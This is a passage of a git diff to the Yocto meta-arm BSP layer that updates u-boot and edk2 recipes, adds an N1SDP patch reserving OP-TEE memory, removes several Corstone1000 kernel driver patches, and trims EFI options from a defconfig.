-SRC_URI:append:juno = " file://0001-configs-vexpress-modify-to-boot-compressed-initramfs.patch"
-
-
-#
-# TC0 and TC1 MACHINES
-#
-SRC_URI:append:tc = " \
- file://bootargs.cfg \
- "
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot_2023.01.bb b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot_2023.01.bb
deleted file mode 100644
index 2dd5e04ae1..0000000000
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot_2023.01.bb
+++ /dev/null
@@ -1,4 +0,0 @@
-require recipes-bsp/u-boot/u-boot-common.inc
-require recipes-bsp/u-boot/u-boot.inc
-
-SRCREV = "62e2ad1ceafbfdf2c44d3dc1b6efc81e768a96b9"
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/uefi/edk2-firmware-n1sdp.inc b/meta-arm/meta-arm-bsp/recipes-bsp/uefi/edk2-firmware-n1sdp.inc
index fcdedf8004..f03e4e5fa5 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/uefi/edk2-firmware-n1sdp.inc
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/uefi/edk2-firmware-n1sdp.inc
@@ -21,6 +21,7 @@ SRC_URI:append = "\
file://0006-Platform-ARM-N1Sdp-Persistent-storage-for-N1Sdp.patch;patchdir=edk2-platforms \
file://0007-Platform-ARM-N1Sdp-Enable-FaultTolerantWrite-Dxe-dri.patch;patchdir=edk2-platforms \
file://0008-Platform-ARM-N1Sdp-manually-poll-QSPI-status-bit-aft.patch;patchdir=edk2-platforms \
+ file://0009-Platform-ARM-N1Sdp-Reserve-OP-TEE-Region-from-UEFI.patch;patchdir=edk2-platforms \
"
do_deploy:append() {
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/uefi/edk2-firmware_202211.bb b/meta-arm/meta-arm-bsp/recipes-bsp/uefi/edk2-firmware_202211.bb
deleted file mode 100644
index 378f58547e..0000000000
--- a/meta-arm/meta-arm-bsp/recipes-bsp/uefi/edk2-firmware_202211.bb
+++ /dev/null
@@ -1,4 +0,0 @@
-SRCREV_edk2 ?= "fff6d81270b57ee786ea18ad74f43149b9f03494"
-SRCREV_edk2-platforms ?= "982212662c71b6c734b7578526071d6b78da3bcc"
-
-require recipes-bsp/uefi/edk2-firmware.inc
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/uefi/files/n1sdp/0009-Platform-ARM-N1Sdp-Reserve-OP-TEE-Region-from-UEFI.patch b/meta-arm/meta-arm-bsp/recipes-bsp/uefi/files/n1sdp/0009-Platform-ARM-N1Sdp-Reserve-OP-TEE-Region-from-UEFI.patch
new file mode 100644
index 0000000000..00c85ebc06
--- /dev/null
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/uefi/files/n1sdp/0009-Platform-ARM-N1Sdp-Reserve-OP-TEE-Region-from-UEFI.patch
@@ -0,0 +1,65 @@
+From 235fabb2269a86e016bab2886b9129c77f0fea71 Wed Oct 11 16:18:22 2023
+From: Mariam Elshakfy <mariam.elshakfy@arm.com>
+Date: Wed Oct 11 16:18:22 2023 +0000
+
+Subject: [PATCH] Platform/ARM/N1Sdp: Reserve OP-TEE Region from UEFI
+
+To enable cache on N1SDP, OP-TEE has to be moved
+to run from DDR4 memory. Since this memory is
+known to application side, it must be reserved
+
+Upstream-Status: Pending (not yet submitted to upstream)
+Signed-off-by: Mariam Elshakfy <mariam.elshakfy@arm.com>
+
+diff --git a/Silicon/ARM/NeoverseN1Soc/Library/PlatformLib/PlatformLib.inf b/Silicon/ARM/NeoverseN1Soc/Library/PlatformLib/PlatformLib.inf
+index 78f309c3aa..dc82d5bd87 100644
+--- a/Silicon/ARM/NeoverseN1Soc/Library/PlatformLib/PlatformLib.inf
++++ b/Silicon/ARM/NeoverseN1Soc/Library/PlatformLib/PlatformLib.inf
+@@ -62,6 +62,9 @@
+
+ gEfiMdePkgTokenSpaceGuid.PcdPciExpressBaseAddress
+
++ gArmNeoverseN1SocTokenSpaceGuid.PcdOpteeMemoryBase
++ gArmNeoverseN1SocTokenSpaceGuid.PcdOpteeMemorySize
++
+ [Guids]
+ gArmNeoverseN1SocPlatformInfoDescriptorGuid
+ gEfiHobListGuid ## CONSUMES ## SystemTable
+diff --git a/Silicon/ARM/NeoverseN1Soc/Library/PlatformLib/PlatformLibMem.c b/Silicon/ARM/NeoverseN1Soc/Library/PlatformLib/PlatformLibMem.c
+index 8bb9407490..d8ad0f975c 100644
+--- a/Silicon/ARM/NeoverseN1Soc/Library/PlatformLib/PlatformLibMem.c
++++ b/Silicon/ARM/NeoverseN1Soc/Library/PlatformLib/PlatformLibMem.c
+@@ -150,6 +150,19 @@ ArmPlatformGetVirtualMemoryMap (
+ EFI_RESOURCE_ATTRIBUTE_WRITE_BACK_CACHEABLE |
+ EFI_RESOURCE_ATTRIBUTE_TESTED;
+
++ // Reserved OP-TEE region
++ BuildResourceDescriptorHob (
++ EFI_RESOURCE_SYSTEM_MEMORY,
++ ResourceAttributes,
++ PcdGet64 (PcdOpteeMemoryBase),
++ PcdGet64 (PcdOpteeMemorySize)
++ );
++ BuildMemoryAllocationHob (
++ PcdGet64 (PcdOpteeMemoryBase),
++ PcdGet64 (PcdOpteeMemorySize),
++ EfiReservedMemoryType
++ );
++
+ BuildResourceDescriptorHob (
+ EFI_RESOURCE_SYSTEM_MEMORY,
+ ResourceAttributes,
+diff --git a/Silicon/ARM/NeoverseN1Soc/NeoverseN1Soc.dec b/Silicon/ARM/NeoverseN1Soc/NeoverseN1Soc.dec
+index 9e257ebde0..b400b94fd5 100644
+--- a/Silicon/ARM/NeoverseN1Soc/NeoverseN1Soc.dec
++++ b/Silicon/ARM/NeoverseN1Soc/NeoverseN1Soc.dec
+@@ -86,5 +86,9 @@
+ gArmNeoverseN1SocTokenSpaceGuid.PcdRemotePcieMmio64Translation|0x40000000000|UINT64|0x00000050
+ gArmNeoverseN1SocTokenSpaceGuid.PcdRemotePcieSegmentNumber|2|UINT32|0x00000051
+
++ # Base Address of OP-TEE
++ gArmNeoverseN1SocTokenSpaceGuid.PcdOpteeMemoryBase|0xDE000000|UINT64|0x00000052
++ gArmNeoverseN1SocTokenSpaceGuid.PcdOpteeMemorySize|0x02000000|UINT64|0x00000053
++
+ [Ppis]
+ gNtFwConfigDtInfoPpiGuid = { 0xb50dee0e, 0x577f, 0x47fb, { 0x83, 0xd0, 0x41, 0x78, 0x61, 0x8b, 0x33, 0x8a } }
diff --git a/meta-arm/meta-arm/recipes-kernel/linux/files/aarch64/0001-arm64-defconfig-remove-CONFIG_COMMON_CLK_NPCM8XX-y.patch b/meta-arm/meta-arm-bsp/recipes-kernel/linux/files/aarch64/0001-arm64-defconfig-remove-CONFIG_COMMON_CLK_NPCM8XX-y.patch
index bff81dfcc6..bff81dfcc6 100644
--- a/meta-arm/meta-arm/recipes-kernel/linux/files/aarch64/0001-arm64-defconfig-remove-CONFIG_COMMON_CLK_NPCM8XX-y.patch
+++ b/meta-arm/meta-arm-bsp/recipes-kernel/linux/files/aarch64/0001-arm64-defconfig-remove-CONFIG_COMMON_CLK_NPCM8XX-y.patch
diff --git a/meta-arm/meta-arm-bsp/recipes-kernel/linux/files/corstone1000/0002-Add-external-system-driver.patch b/meta-arm/meta-arm-bsp/recipes-kernel/linux/files/corstone1000/0002-Add-external-system-driver.patch
deleted file mode 100644
index d8d9488bcb..0000000000
--- a/meta-arm/meta-arm-bsp/recipes-kernel/linux/files/corstone1000/0002-Add-external-system-driver.patch
+++ /dev/null
@@ -1,220 +0,0 @@
-From 9eac502eacd36a4975ec34a3f076594fa4364032 Mon Sep 17 00:00:00 2001
-From: Emekcan <emekcan.aras@arm.com>
-Date: Fri, 19 Aug 2022 14:51:08 +0100
-Subject: [PATCH] Add external system driver
-
-Adds external system driver to control it
-from user-space. It provides run and reset
-functionality at the moment.
-
-Upstream-Status: Pending [Not submitted to upstream yet]
-Signed-off-by: Emekcan Aras <emekcan.aras@arm.com>
-Signed-off-by: Rui Miguel Silva <rui.silva@linaro.org>
----
- drivers/misc/Kconfig | 1 +
- drivers/misc/Makefile | 1 +
- drivers/misc/arm/Kconfig | 5 ++
- drivers/misc/arm/Makefile | 1 +
- drivers/misc/arm/extsys_ctrl.c | 151 +++++++++++++++++++++++++++++++++
- 5 files changed, 159 insertions(+)
- create mode 100644 drivers/misc/arm/Kconfig
- create mode 100644 drivers/misc/arm/Makefile
- create mode 100644 drivers/misc/arm/extsys_ctrl.c
-
-diff --git a/drivers/misc/Kconfig b/drivers/misc/Kconfig
-index 433aa4197785..912986abc46c 100644
---- a/drivers/misc/Kconfig
-+++ b/drivers/misc/Kconfig
-@@ -555,4 +555,5 @@ source "drivers/misc/cardreader/Kconfig"
- source "drivers/misc/uacce/Kconfig"
- source "drivers/misc/pvpanic/Kconfig"
- source "drivers/misc/mchp_pci1xxxx/Kconfig"
-+source "drivers/misc/arm/Kconfig"
- endmenu
-diff --git a/drivers/misc/Makefile b/drivers/misc/Makefile
-index 56de43943cd5..22e6561b8192 100644
---- a/drivers/misc/Makefile
-+++ b/drivers/misc/Makefile
-@@ -63,5 +63,6 @@ obj-$(CONFIG_HI6421V600_IRQ) += hi6421v600-irq.o
- obj-$(CONFIG_OPEN_DICE) += open-dice.o
- obj-$(CONFIG_GP_PCI1XXXX) += mchp_pci1xxxx/
- obj-$(CONFIG_VCPU_STALL_DETECTOR) += vcpu_stall_detector.o
-+obj-y += arm/
- obj-$(CONFIG_TMR_MANAGER) += xilinx_tmr_manager.o
- obj-$(CONFIG_TMR_INJECT) += xilinx_tmr_inject.o
-diff --git a/drivers/misc/arm/Kconfig b/drivers/misc/arm/Kconfig
-new file mode 100644
-index 000000000000..9f1eb284e530
---- /dev/null
-+++ b/drivers/misc/arm/Kconfig
-@@ -0,0 +1,5 @@
-+config EXTSYS_CTRL
-+ tristate "Arm External System control driver"
-+ help
-+ Say y here to enable support for external system control
-+ driver for the Arm Corstone-700 and Corstone1000 platform
-\ No newline at end of file
-diff --git a/drivers/misc/arm/Makefile b/drivers/misc/arm/Makefile
-new file mode 100644
-index 000000000000..1ca3084cf8a0
---- /dev/null
-+++ b/drivers/misc/arm/Makefile
-@@ -0,0 +1 @@
-+obj-$(CONFIG_EXTSYS_CTRL) += extsys_ctrl.o
-diff --git a/drivers/misc/arm/extsys_ctrl.c b/drivers/misc/arm/extsys_ctrl.c
-new file mode 100644
-index 000000000000..7929070ff43d
---- /dev/null
-+++ b/drivers/misc/arm/extsys_ctrl.c
-@@ -0,0 +1,151 @@
-+// SPDX-License-Identifier: GPL-2.0
-+/*
-+ * Arm Corstone700 and Corstone1000 external system reset control driver
-+ *
-+ * Copyright (C) 2019 Arm Ltd.
-+ *
-+ */
-+
-+#include <linux/fs.h>
-+#include <linux/clk.h>
-+#include <linux/err.h>
-+#include <linux/interrupt.h>
-+#include <linux/io.h>
-+#include <linux/kernel.h>
-+#include <linux/mod_devicetable.h>
-+#include <linux/module.h>
-+#include <linux/platform_device.h>
-+#include <linux/miscdevice.h>
-+#include <linux/init.h>
-+
-+#define EXTSYS_DRV_NAME "extsys_ctrl"
-+#define EXTSYS_MAX_DEVS 4
-+
-+#define EXTSYS_RST_SIZE U(0x8)
-+#define EXTSYS_RST_CTRL_OFF U(0x0)
-+#define EXTSYS_RST_ST_OFF U(0x4)
-+
-+/* External system reset control indexes */
-+#define EXTSYS_CPU_WAIT (0x0)
-+#define EXTSYS_RST_REQ (0x1)
-+
-+/* External system reset status masks */
-+#define EXTSYS_RST_ST_ACK_OFF U(0x1)
-+
-+/* No Reset Requested */
-+#define EXTSYS_RST_ST_ACK_NRR (0x0 << EXTSYS_RST_ST_ACK_OFF)
-+
-+/* Reset Request Complete */
-+#define EXTSYS_RST_ST_ACK_RRC (0x2 << EXTSYS_RST_ST_ACK_OFF)
-+
-+/* Reset Request Unable to Complete */
-+#define EXTSYS_RST_ST_ACK_RRUC (0x3 << EXTSYS_RST_ST_ACK_OFF)
-+
-+/* IOCTL commands */
-+#define EXTSYS_CPU_WAIT_DISABLE 0x0
-+#define EXTSYS_RESET_REQ_ENABLE 0x1
-+
-+struct extsys_ctrl {
-+ struct miscdevice miscdev;
-+ void __iomem *reset_reg;
-+ void __iomem *set_reg;
-+};
-+
-+#define CLEAR_BIT(addr, index) writel(readl(addr) & ~(1UL << index), addr)
-+#define SET_BIT(addr, index) writel(readl(addr) | (1UL << index), addr)
-+
-+static long extsys_ctrl_ioctl(struct file *f, unsigned int cmd,
-+ unsigned long arg)
-+{
-+ struct extsys_ctrl *extsys;
-+
-+ extsys = container_of(f->private_data, struct extsys_ctrl, miscdev);
-+
-+ switch (cmd) {
-+ case EXTSYS_CPU_WAIT_DISABLE:
-+ CLEAR_BIT(extsys->reset_reg, EXTSYS_CPU_WAIT);
-+ break;
-+ case EXTSYS_RESET_REQ_ENABLE:
-+ SET_BIT(extsys->reset_reg, EXTSYS_RST_REQ);
-+ break;
-+ default:
-+ break;
-+ }
-+
-+ return 0;
-+}
-+
-+static const struct file_operations extsys_ctrl_fops = {
-+ .owner = THIS_MODULE,
-+ .unlocked_ioctl = extsys_ctrl_ioctl,
-+};
-+
-+static int extsys_ctrl_probe(struct platform_device *pdev)
-+{
-+ struct device *dev = &pdev->dev;
-+ struct extsys_ctrl *extsys;
-+ struct resource *res;
-+ void __iomem *reset_reg;
-+ void __iomem *set_reg;
-+ int ret;
-+
-+ res = platform_get_resource_byname(pdev, IORESOURCE_MEM, "rstreg");
-+ reset_reg = devm_ioremap_resource(dev, res);
-+ if (IS_ERR(reset_reg))
-+ return PTR_ERR(reset_reg);
-+
-+ res = platform_get_resource_byname(pdev, IORESOURCE_MEM, "streg");
-+ set_reg = devm_ioremap_resource(dev, res);
-+ if (IS_ERR(set_reg))
-+ return PTR_ERR(set_reg);
-+
-+ extsys = devm_kzalloc(dev, sizeof(*extsys), GFP_KERNEL);
-+ if (!extsys)
-+ return -ENOMEM;
-+
-+ extsys->reset_reg = reset_reg;
-+ extsys->set_reg = set_reg;
-+
-+ extsys->miscdev.minor = MISC_DYNAMIC_MINOR;
-+ extsys->miscdev.name = EXTSYS_DRV_NAME;
-+ extsys->miscdev.fops = &extsys_ctrl_fops;
-+ extsys->miscdev.parent = dev;
-+
-+ ret = misc_register(&extsys->miscdev);
-+ if (ret)
-+ return ret;
-+
-+ dev_info(dev, "external system controller ready\n");
-+
-+ return 0;
-+}
-+
-+static int extsys_ctrl_remove(struct platform_device *pdev)
-+{
-+ struct extsys_ctrl *extsys = dev_get_drvdata(&pdev->dev);
-+
-+ misc_deregister(&extsys->miscdev);
-+
-+ return 0;
-+}
-+
-+static const struct of_device_id extsys_ctrl_match[] = {
-+ { .compatible = "arm,extsys_ctrl" },
-+ { },
-+};
-+MODULE_DEVICE_TABLE(of, extsys_ctrl_match);
-+
-+static struct platform_driver extsys_ctrl_driver = {
-+ .driver = {
-+ .name = EXTSYS_DRV_NAME,
-+ .of_match_table = extsys_ctrl_match,
-+ },
-+ .probe = extsys_ctrl_probe,
-+ .remove = extsys_ctrl_remove,
-+};
-+module_platform_driver(extsys_ctrl_driver);
-+
-+MODULE_LICENSE("GPL v2");
-+MODULE_DESCRIPTION("Arm External System Control Driver");
-+MODULE_AUTHOR("Morten Borup Petersen");
-+MODULE_AUTHOR("Rui Miguel Silva <rui.silva@arm.com>");
diff --git a/meta-arm/meta-arm-bsp/recipes-kernel/linux/files/corstone1000/0003-Add-rpmsg-driver-for-corstone1000.patch b/meta-arm/meta-arm-bsp/recipes-kernel/linux/files/corstone1000/0003-Add-rpmsg-driver-for-corstone1000.patch
deleted file mode 100644
index cd9cec2700..0000000000
--- a/meta-arm/meta-arm-bsp/recipes-kernel/linux/files/corstone1000/0003-Add-rpmsg-driver-for-corstone1000.patch
+++ /dev/null
@@ -1,218 +0,0 @@
-From a834f4e143ff647e7677dc60ab57ee5883f3ac8f Mon Sep 17 00:00:00 2001
-From: Emekcan <emekcan.aras@arm.com>
-Date: Wed, 17 Aug 2022 14:21:42 +0100
-Subject: [PATCH] Add rpmsg driver for corstone1000
-
-Adds rpmsg driver to communicate with external
-system in corstone1000 platform.
-
-Upstream-Status: Pending
-Signed-off-by: Emekcan Aras <emekcan.aras@arm.com>
-Signed-off-by: Rui Miguel Silva <rui.silva@linaro.org>
----
- drivers/rpmsg/Kconfig | 10 ++
- drivers/rpmsg/Makefile | 1 +
- drivers/rpmsg/rpmsg_arm_mailbox.c | 164 ++++++++++++++++++++++++++++++
- 3 files changed, 175 insertions(+)
- create mode 100644 drivers/rpmsg/rpmsg_arm_mailbox.c
-
-diff --git a/drivers/rpmsg/Kconfig b/drivers/rpmsg/Kconfig
-index d3795860f5c0..fc6916d7b523 100644
---- a/drivers/rpmsg/Kconfig
-+++ b/drivers/rpmsg/Kconfig
-@@ -81,4 +81,14 @@ config RPMSG_VIRTIO
- select RPMSG_NS
- select VIRTIO
-
-+config RPMSG_ARM
-+ tristate "ARM RPMSG driver"
-+ select RPMSG
-+ depends on HAS_IOMEM
-+ depends on MAILBOX
-+ help
-+ Say y here to enable support for rpmsg lient driver which is built
-+ around mailbox client using Arm MHUv2.1 as physical medium.This
-+ driver enables communication which remote processor using MHU.
-+
- endmenu
-diff --git a/drivers/rpmsg/Makefile b/drivers/rpmsg/Makefile
-index 58e3b382e316..6bdcc69688b2 100644
---- a/drivers/rpmsg/Makefile
-+++ b/drivers/rpmsg/Makefile
-@@ -1,5 +1,6 @@
- # SPDX-License-Identifier: GPL-2.0
- obj-$(CONFIG_RPMSG) += rpmsg_core.o
-+obj-$(CONFIG_RPMSG_ARM) += rpmsg_arm_mailbox.o
- obj-$(CONFIG_RPMSG_CHAR) += rpmsg_char.o
- obj-$(CONFIG_RPMSG_CTRL) += rpmsg_ctrl.o
- obj-$(CONFIG_RPMSG_NS) += rpmsg_ns.o
-diff --git a/drivers/rpmsg/rpmsg_arm_mailbox.c b/drivers/rpmsg/rpmsg_arm_mailbox.c
-new file mode 100644
-index 000000000000..4a80102669f6
---- /dev/null
-+++ b/drivers/rpmsg/rpmsg_arm_mailbox.c
-@@ -0,0 +1,164 @@
-+// SPDX-License-Identifier: GPL-2.0
-+/*
-+ * rpmsg client driver using mailbox client interface
-+ *
-+ * Copyright (C) 2019 ARM Ltd.
-+ *
-+ */
-+
-+#include <linux/bitmap.h>
-+#include <linux/export.h>
-+#include <linux/io.h>
-+#include <linux/kernel.h>
-+#include <linux/ktime.h>
-+#include <linux/mailbox_client.h>
-+#include <linux/module.h>
-+#include <linux/of_address.h>
-+#include <linux/of_device.h>
-+#include <linux/processor.h>
-+#include <linux/semaphore.h>
-+#include <linux/slab.h>
-+#include <linux/rpmsg.h>
-+#include "rpmsg_internal.h"
-+#include <linux/mailbox/arm_mhuv2_message.h>
-+
-+#define RPMSG_NAME "arm_rpmsg"
-+#define RPMSG_ADDR_ANY 0xFFFFFFFF
-+
-+struct arm_channel {
-+ struct rpmsg_endpoint ept;
-+ struct mbox_client cl;
-+ struct mbox_chan *mbox;
-+};
-+
-+#define arm_channel_from_rpmsg(_ept) container_of(_ept, struct arm_channel, ept)
-+#define arm_channel_from_mbox(_ept) container_of(_ept, struct arm_channel, cl)
-+
-+
-+static void arm_msg_rx_handler(struct mbox_client *cl, void *mssg)
-+{
-+ struct arm_mhuv2_mbox_msg *msg = mssg;
-+ struct arm_channel* channel = arm_channel_from_mbox(cl);
-+ int err = channel->ept.cb(channel->ept.rpdev, msg->data, 4, channel->ept.priv, RPMSG_ADDR_ANY);
-+ if(err) {
-+ printk("ARM Mailbox: Endpoint callback failed with error: %d", err);
-+ }
-+}
-+
-+
-+static void arm_destroy_ept(struct rpmsg_endpoint *ept)
-+{
-+ struct arm_channel *channel = arm_channel_from_rpmsg(ept);
-+ mbox_free_channel(channel->mbox);
-+ kfree(channel);
-+}
-+
-+static int arm_send(struct rpmsg_endpoint *ept, void *data, int len)
-+{
-+ struct arm_channel *channel = arm_channel_from_rpmsg(ept);
-+
-+ mbox_send_message(channel->mbox, data);
-+ return 0;
-+}
-+
-+static int arm_sendto(struct rpmsg_endpoint *ept, void *data, int len, u32 dest)
-+{
-+ struct arm_mhuv2_mbox_msg msg;
-+ struct arm_channel *channel = arm_channel_from_rpmsg(ept);
-+ msg.data = data;
-+ msg.len = len;
-+ mbox_send_message(channel->mbox, &msg);
-+ return 0;
-+}
-+
-+
-+static const struct rpmsg_endpoint_ops arm_endpoint_ops = {
-+ .destroy_ept = arm_destroy_ept,
-+ .send = arm_send,
-+ .sendto = arm_sendto,
-+};
-+
-+
-+static struct rpmsg_endpoint *arm_create_ept(struct rpmsg_device *rpdev,
-+ rpmsg_rx_cb_t cb, void *priv, struct rpmsg_channel_info chinfo)
-+{
-+ struct arm_channel *channel;
-+
-+ channel = kzalloc(sizeof(*channel), GFP_KERNEL);
-+
-+ // Initialize rpmsg endpoint
-+ kref_init(&channel->ept.refcount);
-+ channel->ept.rpdev = rpdev;
-+ channel->ept.cb = cb;
-+ channel->ept.priv = priv;
-+ channel->ept.ops = &arm_endpoint_ops;
-+
-+ // Initialize mailbox client
-+ channel->cl.dev = rpdev->dev.parent;
-+ channel->cl.rx_callback = arm_msg_rx_handler;
-+ channel->cl.tx_done = NULL; /* operate in blocking mode */
-+ channel->cl.tx_block = true;
-+ channel->cl.tx_tout = 500; /* by half a second */
-+ channel->cl.knows_txdone = false; /* depending upon protocol */
-+
-+ channel->mbox = mbox_request_channel_byname(&channel->cl, chinfo.name);
-+ if (IS_ERR_OR_NULL(channel->mbox)) {
-+ printk("RPMsg ARM: Cannot get channel by name: '%s'\n", chinfo.name);
-+ return -1;
-+ }
-+
-+ return &channel->ept;
-+}
-+
-+static const struct rpmsg_device_ops arm_device_ops = {
-+ .create_ept = arm_create_ept,
-+};
-+
-+
-+static void arm_release_device(struct device *dev)
-+{
-+ struct rpmsg_device *rpdev = to_rpmsg_device(dev);
-+
-+ kfree(rpdev);
-+}
-+
-+
-+static int client_probe(struct platform_device *pdev)
-+{
-+ struct device *dev = &pdev->dev;
-+ struct rpmsg_device *rpdev;
-+
-+ rpdev = kzalloc(sizeof(*rpdev), GFP_KERNEL);
-+ if (!rpdev)
-+ return -ENOMEM;
-+
-+ /* Assign callbacks for rpmsg_device */
-+ rpdev->ops = &arm_device_ops;
-+
-+ /* Assign public information to the rpmsg_device */
-+ memcpy(rpdev->id.name, RPMSG_NAME, strlen(RPMSG_NAME));
-+
-+ rpdev->dev.parent = dev;
-+ rpdev->dev.release = arm_release_device;
-+
-+ return rpmsg_chrdev_register_device(rpdev);
-+}
-+
-+static const struct of_device_id client_of_match[] = {
-+ { .compatible = "arm,client", .data = NULL },
-+ { /* Sentinel */ },
-+};
-+
-+static struct platform_driver client_driver = {
-+ .driver = {
-+ .name = "arm-mhu-client",
-+ .of_match_table = client_of_match,
-+ },
-+ .probe = client_probe,
-+};
-+
-+module_platform_driver(client_driver);
-+
-+MODULE_LICENSE("GPL v2");
-+MODULE_DESCRIPTION("ARM RPMSG Driver");
-+MODULE_AUTHOR("Tushar Khandelwal <tushar.khandelwal@arm.com>");
diff --git a/meta-arm/meta-arm-bsp/recipes-kernel/linux/files/corstone1000/0004-rpmsg-arm-fix-return-value.patch b/meta-arm/meta-arm-bsp/recipes-kernel/linux/files/corstone1000/0004-rpmsg-arm-fix-return-value.patch
deleted file mode 100644
index 516dbd7052..0000000000
--- a/meta-arm/meta-arm-bsp/recipes-kernel/linux/files/corstone1000/0004-rpmsg-arm-fix-return-value.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From c1ffd793062a13afdcc07d4bc1a8007188bfca5f Mon Sep 17 00:00:00 2001
-From: Rui Miguel Silva <rui.silva@linaro.org>
-Date: Tue, 27 Sep 2022 10:05:27 +0100
-Subject: [PATCH] rpmsg: arm: fix return value
-
-The creation of and endpoint returns a pointer, fix the return
-value to the right type.
-
-Upstream-Status: Pending
-Signed-off-by: Rui Miguel Silva <rui.silva@linaro.org>
----
- drivers/rpmsg/rpmsg_arm_mailbox.c | 5 +++--
- 1 file changed, 3 insertions(+), 2 deletions(-)
-
-diff --git a/drivers/rpmsg/rpmsg_arm_mailbox.c b/drivers/rpmsg/rpmsg_arm_mailbox.c
-index 4a80102669f6..5c0dcc8e353d 100644
---- a/drivers/rpmsg/rpmsg_arm_mailbox.c
-+++ b/drivers/rpmsg/rpmsg_arm_mailbox.c
-@@ -103,8 +103,9 @@ static struct rpmsg_endpoint *arm_create_ept(struct rpmsg_device *rpdev,
-
- channel->mbox = mbox_request_channel_byname(&channel->cl, chinfo.name);
- if (IS_ERR_OR_NULL(channel->mbox)) {
-- printk("RPMsg ARM: Cannot get channel by name: '%s'\n", chinfo.name);
-- return -1;
-+ printk("RPMsg ARM: Cannot get channel by name: %s\n",
-+ chinfo.name);
-+ return ERR_PTR(-ENOENT);
- }
-
- return &channel->ept;
diff --git a/meta-arm/meta-arm-bsp/recipes-kernel/linux/files/corstone1000/0005-rpmsg-arm-update-chrdev-to-ctrldev-registration.patch b/meta-arm/meta-arm-bsp/recipes-kernel/linux/files/corstone1000/0005-rpmsg-arm-update-chrdev-to-ctrldev-registration.patch
deleted file mode 100644
index ef2eb7c130..0000000000
--- a/meta-arm/meta-arm-bsp/recipes-kernel/linux/files/corstone1000/0005-rpmsg-arm-update-chrdev-to-ctrldev-registration.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From a8c295e1ff1d2b1032cc7495f212c56ba9f3e874 Mon Sep 17 00:00:00 2001
-From: Rui Miguel Silva <rui.silva@linaro.org>
-Date: Tue, 27 Sep 2022 10:07:21 +0100
-Subject: [PATCH] rpmsg: arm: update chrdev to ctrldev registration
-
-Since "rpmsg: Update rpmsg_chrdev_register_device function",
-there was a replacement of the chrdev driver to ctrldev
-driver. Fix the registration.
-
-Upstream-Status: Pending
-Signed-off-by: Rui Miguel Silva <rui.silva@linaro.org>
----
- drivers/rpmsg/rpmsg_arm_mailbox.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/drivers/rpmsg/rpmsg_arm_mailbox.c b/drivers/rpmsg/rpmsg_arm_mailbox.c
-index 5c0dcc8e353d..90bc8df90885 100644
---- a/drivers/rpmsg/rpmsg_arm_mailbox.c
-+++ b/drivers/rpmsg/rpmsg_arm_mailbox.c
-@@ -142,7 +142,7 @@ static int client_probe(struct platform_device *pdev)
- rpdev->dev.parent = dev;
- rpdev->dev.release = arm_release_device;
-
-- return rpmsg_chrdev_register_device(rpdev);
-+ return rpmsg_ctrldev_register_device(rpdev);
- }
-
- static const struct of_device_id client_of_match[] = {
diff --git a/meta-arm/meta-arm-bsp/recipes-kernel/linux/files/corstone1000/0006-Adds-workaround-for-cs1k-specific-bug.patch b/meta-arm/meta-arm-bsp/recipes-kernel/linux/files/corstone1000/0006-Adds-workaround-for-cs1k-specific-bug.patch
deleted file mode 100644
index 4fbeb23e5d..0000000000
--- a/meta-arm/meta-arm-bsp/recipes-kernel/linux/files/corstone1000/0006-Adds-workaround-for-cs1k-specific-bug.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From 555ac46f6f5157741a6fd8f21f74beb1340ed941 Mon Sep 17 00:00:00 2001
-From: Emekcan <emekcan.aras@arm.com>
-Date: Thu, 13 Oct 2022 20:53:42 +0100
-Subject: [PATCH] Adds workaround for cs1k specific bug
-
-Adds a temporary workaround to solve a possible
-race-conditioning issue in the tee driver
-for corstone1000.
-
-Upstream-Status: Inappropriate
-Signed-off-by: Emekcan Aras <emekcan.aras@arm.com>
-Signed-off-by: Rui Miguel Silva <rui.silva@linaro.org>
----
- drivers/firmware/arm_ffa/driver.c | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/drivers/firmware/arm_ffa/driver.c b/drivers/firmware/arm_ffa/driver.c
-index 2109cd178ff7..c15b3a83c720 100644
---- a/drivers/firmware/arm_ffa/driver.c
-+++ b/drivers/firmware/arm_ffa/driver.c
-@@ -32,6 +32,7 @@
- #include <linux/scatterlist.h>
- #include <linux/slab.h>
- #include <linux/uuid.h>
-+#include <linux/delay.h>
-
- #include "common.h"
-
-@@ -282,7 +283,7 @@ static int ffa_msg_send_direct_req(u16 src_id, u16 dst_id, bool mode_32bit,
- {
- u32 req_id, resp_id, src_dst_ids = PACK_TARGET_INFO(src_id, dst_id);
- ffa_value_t ret;
--
-+ msleep(1);
- if (mode_32bit) {
- req_id = FFA_MSG_SEND_DIRECT_REQ;
- resp_id = FFA_MSG_SEND_DIRECT_RESP;
diff --git a/meta-arm/meta-arm-bsp/recipes-kernel/linux/files/corstone1000/defconfig b/meta-arm/meta-arm-bsp/recipes-kernel/linux/files/corstone1000/defconfig
index f6e6409cea..8abcaed41a 100644
--- a/meta-arm/meta-arm-bsp/recipes-kernel/linux/files/corstone1000/defconfig
+++ b/meta-arm/meta-arm-bsp/recipes-kernel/linux/files/corstone1000/defconfig
@@ -8,15 +8,9 @@ CONFIG_RELAY=y
CONFIG_BOOT_CONFIG=y
CONFIG_ARCH_VEXPRESS=y
CONFIG_CMDLINE="console=ttyAMA0 loglevel=9"
-CONFIG_EFI=y
# CONFIG_SUSPEND is not set
-CONFIG_EFI_BOOTLOADER_CONTROL=y
-CONFIG_EFI_CAPSULE_LOADER=y
-CONFIG_EFI_TEST=y
-CONFIG_RESET_ATTACK_MITIGATION=y
# CONFIG_STACKPROTECTOR is not set
CONFIG_MODULES=y
-# CONFIG_BLK_DEV_BSG is not set
# CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS is not set
CONFIG_NET=y
CONFIG_PACKET=y
@@ -28,8 +22,13 @@ CONFIG_IP_PNP_BOOTP=y
CONFIG_SYN_COOKIES=y
